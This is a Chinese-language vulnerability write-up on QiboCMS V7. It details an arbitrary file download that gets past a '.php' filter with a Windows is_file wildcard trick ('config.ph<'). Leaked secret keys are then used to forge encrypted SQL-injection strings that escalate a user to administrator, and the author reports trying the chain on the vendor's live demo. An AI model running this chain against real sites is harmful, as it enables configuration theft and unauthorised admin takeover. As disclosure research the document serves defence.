qibocmsV7整站系统任意文件下载导致无限制注入多处(可提升自己为管理 Demo演示)

  • A+
所属分类:漏洞时代
摘要

http://bbs.qibosoft.com/down2.php?v=v7#down下载地址 刚下载的。在inc/job/download.php中[php]


漏洞作者: ′ 雨。

http://bbs.qibosoft.com/down2.php?v=v7#down

下载地址 刚下载的。

在inc/job/download.php中

</p><p>$url=trim(base64_decode($url));</p><p>$fileurl=str_replace($webdb[www_url],"",$url);</p><p>if( eregi(".php",$fileurl) && is_file(ROOT_PATH."$fileurl") ){</p><p>die("ERR");</p><p>}</p><p> </p><p>if(!$webdb[DownLoad_readfile]){</p><p>$fileurl=strstr($url,"://")?$url:tempdir($fileurl);</p><p>header("location:$fileurl");</p><p>exit;</p><p>}</p><p> </p><p>if( is_file(ROOT_PATH."$fileurl") ){</p><p>$filename=basename($fileurl);</p><p>$filetype=substr(strrchr($filename,'.'),1);</p><p>$_filename=preg_replace("/([/d]+)_(200[/d]+)_([^_]+)/.([^/.]+)/is","//3",$filename);</p><p> </p><p>if(eregi("^([a-z0-9=]+)$",$_filename)&&!eregi("(jpg|gif|png)$",$filename)){</p><p>$filename=urldecode(base64_decode($_filename)).".$filetype";</p><p>}</p><p>ob_end_clean();</p><p>header('Last-Modified: '.gmdate('D, d M Y H:i:s',time()).' GMT');</p><p>header('Pragma: no-cache');</p><p>header('Content-Encoding: none');</p><p>header('Content-Disposition: attachment; filename='.$filename);</p><p>header('Content-type: '.$filetype);</p><p>header('Content-Length: '.filesize(ROOT_PATH."$fileurl"));</p><p>readfile(ROOT_PATH."$fileurl");</p><p>}else{</p><p>if(eregi(".php",$fileurl)){</p><p>header("location:$fileurl");</p><p>exit;</p><p>}</p><p>$filename=basename($fileurl);</p><p>$filetype=substr(strrchr($filename,'.'),1);</p><p>$fileurl=strstr($url,"://")?$url:tempdir($fileurl);</p><p>ob_end_clean();</p><p>header('Last-Modified: '.gmdate('D, d M Y H:i:s',time()).' GMT');</p><p>header('Pragma: no-cache');</p><p>header('Content-Encoding: none');</p><p>header('Content-Disposition: attachment; filename='.$filename);</p><p>header('Content-type: '.$filetype);</p><p>readfile($fileurl);</p><p>

</p><p>$url=trim(base64_decode($url))</p><p>$fileurl=str_replace($webdb[www_url],"",$url);</p><p>if( eregi(".php",$fileurl) && is_file(ROOT_PATH."$fileurl") ){</p><p>die("ERR");</p><p>

这里由于是解码后再匹配 所以不能靠编码绕过。

只要匹配到.php就退出 。 测试了一下.php. 也会被匹配出。

这里还开启了i模式 所以像phP之类的大小写绕过也没办法。

难道真的没办法了?

</p><p>if( is_file(ROOT_PATH."$fileurl") ){</p><p>$filename=basename($fileurl);</p><p>$filetype=substr(strrchr($filename,'.'),1);</p><p>$_filename=preg_replace("/([/d]+)_(200[/d]+)_([^_]+)/.([^/.]+)/is","//3",$filename);</p><p> </p><p>if(eregi("^([a-z0-9=]+)$",$_filename)&&!eregi("(jpg|gif|png)$",$filename)){</p><p>$filename=urldecode(base64_decode($_filename)).".$filetype";</p><p>}</p><p>ob_end_clean();</p><p>header('Last-Modified: '.gmdate('D, d M Y H:i:s',time()).' GMT');</p><p>header('Pragma: no-cache');</p><p>header('Content-Encoding: none');</p><p>header('Content-Disposition: attachment; filename='.$filename);</p><p>header('Content-type: '.$filetype);</p><p>header('Content-Length: '.filesize(ROOT_PATH."$fileurl"));</p><p>readfile(ROOT_PATH."$fileurl");</p><p>

在这里调用了is_file这函数来检测文件是否存在,如果存在的话才会进入这语句块。

由于匹配出.php 就会退出。 能有什么办法呢?

这里我们来fuzz is_file这函数一下。

</p><p><?php</p><p>for ($i=0; $i<255; $i++) {</p><p>$yu = '1.ph' . chr($i);</p><p>$yu1 = @is_file($yu);</p><p> </p><p>if (!empty($yu1)){</p><p>echo chr($i);</p><p>echo "</br>";</p><p>}</p><p>}</p><p>?></p><p>

在本地新建一个1.php的文件。 然后is_file 看看有神么能输出来。

qibocmsV7整站系统任意文件下载导致无限制注入多处(可提升自己为管理 Demo演示)

 

 

可以看到除开 P p 还有其他的

因为开启了i 所以P p 都不行 来试试<

</p><p><?Php</p><p>$a=$_GET[a];</p><p>$b=is_file($a);</p><p>var_dump($b);</p><p>

qibocmsV7整站系统任意文件下载导致无限制注入多处(可提升自己为管理 Demo演示)

 

qibocmsV7整站系统任意文件下载导致无限制注入多处(可提升自己为管理 Demo演示)

 

 

可以看到1.ph< 返回了true 这样不就可以绕过这个的过滤了?

因为我看英文看不怎么懂。。 那些什么翻译 翻译来又太蛋疼了 一大堆翻译错误的。

以下是我的理解 可能有错 也请大牛来指导指导了。

因为当PHP解析器解析这些函数的时候 会调用winapi

调用了Winapi的函数Findfirstfile

然后<字符被转换成了* 成了通配符。

所以导致1.ph< 找到了1.php。

也就导致了这个漏洞的产生。

这里不止is_file函数调用了这个api 大部分的函数都调用了这个api

qibocmsV7整站系统任意文件下载导致无限制注入多处(可提升自己为管理 Demo演示)

 

可以看到unlink函数用这方法就不行。

没调用这api的函数大概有unlink、rename、rmdir就这三个了。

其他的函数基本都调用了。

_______________________________________________________________________________

上面那个介绍完了, 继续回到qibocms。。

</p><p>if( is_file(ROOT_PATH."$fileurl") ){</p><p>$filename=basename($fileurl);</p><p>$filetype=substr(strrchr($filename,'.'),1);</p><p>$_filename=preg_replace("/([/d]+)_(200[/d]+)_([^_]+)/.([^/.]+)/is","//3",$filename);</p><p> </p><p>if(eregi("^([a-z0-9=]+)$",$_filename)&&!eregi("(jpg|gif|png)$",$filename)){</p><p>$filename=urldecode(base64_decode($_filename)).".$filetype";</p><p>}</p><p>ob_end_clean();</p><p>header('Last-Modified: '.gmdate('D, d M Y H:i:s',time()).' GMT');</p><p>header('Pragma: no-cache');</p><p>header('Content-Encoding: none');</p><p>header('Content-Disposition: attachment; filename='.$filename);</p><p>header('Content-type: '.$filetype);</p><p>header('Content-Length: '.filesize(ROOT_PATH."$fileurl"));</p><p>readfile(ROOT_PATH."$fileurl");</p><p>

在这里通过is_file的判断后。

</p><p>$filename=basename($fileurl);</p><p>$filetype=substr(strrchr($filename,'.'),1);</p><p>$_filename=preg_replace("/([/d]+)_(200[/d]+)_([^_]+)/.([^/.]+)/is","//3",$filename);</p><p> </p><p>if(eregi("^([a-z0-9=]+)$",$_filename)&&!eregi("(jpg|gif|png)$",$filename)){</p><p>$filename=urldecode(base64_decode($_filename)).".$filetype";</p><p>}</p><p>

对这些有进行了各种处理, 但是我没搞懂对这些的处理有什么用?

readfile(ROOT_PATH."$fileurl")

最后带入readfile 的是$fileurl。

Come on 利用来吧。

</p><p>$url=trim(base64_decode($url));</p><p>$fileurl=str_replace($webdb[www_url],"",$url);</p><p>if( eregi(".php",$fileurl) && is_file(ROOT_PATH."$fileurl") ){</p><p>die("ERR");</p><p>}</p><p>

这里由于会先解码所以首先要自己编码一次。

这里我们来下载data/config.php 这文件。

对data/config.php base64 encode

试试

qibocmsV7整站系统任意文件下载导致无限制注入多处(可提升自己为管理 Demo演示)

 

被匹配出了 再对data/config.ph< base64 encode

qibocmsV7整站系统任意文件下载导致无限制注入多处(可提升自己为管理 Demo演示)

 

成功下载到配置文件

_________________________________________________________________________

这里如何让任意文件下载变成注入?

这里qibocms 里面有一个加密解码的函数

</p><p>function mymd5($string,$action="EN",$rand=''){ //字符串加密和解密</p><p>global $webdb;</p><p>if($action=="DE"){//处理+号在URL传递过程中会异常</p><p>$string = str_replace('QIBO|ADD','+',$string);</p><p>}</p><p>$secret_string = $webdb[mymd5].$rand.'5*j,.^&;?.%#@!'; //绝密字符串,可以任意设定</p><p>if(!is_string($string)){</p><p>$string=strval($string);</p><p>}</p><p>if($string==="") return "";</p><p>if($action=="EN") $md5code=substr(md5($string),8,10);</p><p>else{</p><p>$md5code=substr($string,-10);</p><p>$string=substr($string,0,strlen($string)-10);</p><p>}</p><p>//$key = md5($md5code.$_SERVER["HTTP_USER_AGENT"].$secret_string);</p><p>$key = md5($md5code.$secret_string);</p><p>$string = ($action=="EN"?$string:base64_decode($string));</p><p>$len = strlen($key);</p><p>$code = "";</p><p>for($i=0; $i<strlen($string); $i++){</p><p>$k = $i%$len;</p><p>$code .= $string[$i]^$key[$k];</p><p>}</p><p>$code = ($action == "DE" ? (substr(md5($code),8,10)==$md5code?$code:NULL) : base64_encode($code)."$md5code");</p><p>if($action=="EN"){//处理+号在URL传递过程中会异常</p><p>$code = str_replace('+','QIBO|ADD',$code);</p><p>}</p><p>return $code;</p><p>}</p><p>

这里的key是保存到配置文件里面的, 当我们拿到key过后就可以调用这函数自己来生成一个加密的字符串。

再找哪里调用了这函数来解密的。 这样就无视了qibocms的全局转义。

key 就是保存到data/config.php里面的 刚才通过任意文件下载已经拿到了。

qibocmsV7整站系统任意文件下载导致无限制注入多处(可提升自己为管理 Demo演示)

 

还是给官方的key打个码、

来找找哪里调用了这函数的。

首先在member/yz.php里面

</p><p>elseif($action=='mobphone2')</p><p>{</p><p>if($lfjdb[mob_yz]){</p><p>showerr("请不要重复验证手机号码!");</p><p>}</p><p>if(!$yznum){</p><p>showerr("请输入验证码");</p><p>}elseif(!$md5code){</p><p>showerr("资料有误");</p><p>}else{</p><p>unset($code,$mobphone,$uid);</p><p>list($code,$mobphone,$uid)=explode("/t",mymd5($md5code,"DE") );</p><p>if($code!=$yznum||$uid!=$lfjuid){</p><p>showerr("验证码不对");</p><p>}</p><p>}</p><p>add_user($lfjuid,$webdb[YZ_MobMoney],'手机号码审核奖分');</p><p>$db->query("UPDATE {$pre}memberdata SET mobphone='$mobphone',mob_yz='1' WHERE uid='$lfjuid'");</p><p>refreshto("yz.php?job=mob","恭喜你,你的手机号码成功通过审核,你同时得到 {$webdb[YZ_MobMoney]} 个积分奖励!",10);</p><p>

这里调用了mymd5 而且是decode 所以解码后就能直接注入了。

而且可以发现update的表是memberdata 这个表里面groupid column 就是用来判断是不是管理员的。

而且$mobphone 是解码后来的 而且直接在set位 这里只要稍微构造一下

就可以直接update groupid=3 然后就提升自己为管理员了。

这里在之前的图片系统里提到过 就不多说了。

再继续来看看

在inc/common.inc.php中 登录后台的时候也调用了这个

</p><p>if($_COOKIE["adminID"]&&$detail=mymd5($_COOKIE["adminID"],'DE',$onlineip)){</p><p>unset($_uid,$_username,$_password);</p><p>list($_uid,$_username,$_password)=explode("/t",$detail);</p><p>$lfjdb=$db->get_one("SELECT * FROM {$pre}memberdata WHERE uid='$_uid' AND username='$_username'");</p><p>}</p><p>

mymd5($_COOKIE["adminID"],'DE',$onlineip)

这里解码的时候还调用了$onlineip进了第三个参数

$secret_string = $webdb[mymd5].$rand.'5*j,.^&;?.%#@!'; //绝密字符串,可以任意设定

可以看到第三个参数是进了这个变量然后带入了加密中 看看$onlineip怎么来的。

来看看全局文件

</p><p>if($_SERVER['HTTP_CLIENT_IP']){</p><p>$onlineip=$_SERVER['HTTP_CLIENT_IP'];</p><p>}elseif($_SERVER['HTTP_X_FORWARDED_FOR']){</p><p>$onlineip=$_SERVER['HTTP_X_FORWARDED_FOR'];</p><p>}else{</p><p>$onlineip=$_SERVER['REMOTE_ADDR'];</p><p>}</p><p>$onlineip = preg_replace("/^([/d/.]+).*/", "//1", filtrate($onlineip));</p><p>preg_match("/[/d/.]{7,15}/", $onlineip, $onlineipArray);</p><p>$onlineip = $onlineipArray[0] ? $onlineipArray[0] : '0.0.0.0';</p><p>

可以看到是获取的xff 但是后面用了正则来验证ip是否合法

如果不合法的话 就return的是0.0.0.0 这里我们就随便让xff不合法就行了

然后把0.0.0.0 带入到加密函数当中

________________________________________________________________________

不多说了 直接调用一下函数生成一下加密的字符串。

qibocmsV7整站系统任意文件下载导致无限制注入多处(可提升自己为管理 Demo演示)

 

在测试demo的时候发现竟然不报错。

qibocmsV7整站系统任意文件下载导致无限制注入多处(可提升自己为管理 Demo演示)

 

 

这怎么可能呢? 后面想了一想

$secret_string = $webdb[mymd5].$rand.'5*j,.^&;?.%#@!'; //绝密字符串,可以任意设定

$rand 后面设定的是可以任意设定的 可能demo修改了。

然后果断继续利用刚才的方法下载inc/function.inc.php

</p><p>function mymd5($string,$action="EN",$rand=''){ //字符串加密和解密</p><p>global $webdb;</p><p>$secret_string = $webdb[mymd5].$rand.'5*j,.^&;?.%#@!=67987d'; //绝密字符串,可以任意设定</p><p>

呵呵 demo果然修改了。 把这个修改后 继续调用一下这函数 再生成一下语句。

qibocmsV7整站系统任意文件下载导致无限制注入多处(可提升自己为管理 Demo演示)

 

成功报错。

后面的不用多说了。 生成一个加密的报错注入的语句就能注入了。

不想多说。

这里应该可以直接登录后台,懒得弄了。

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: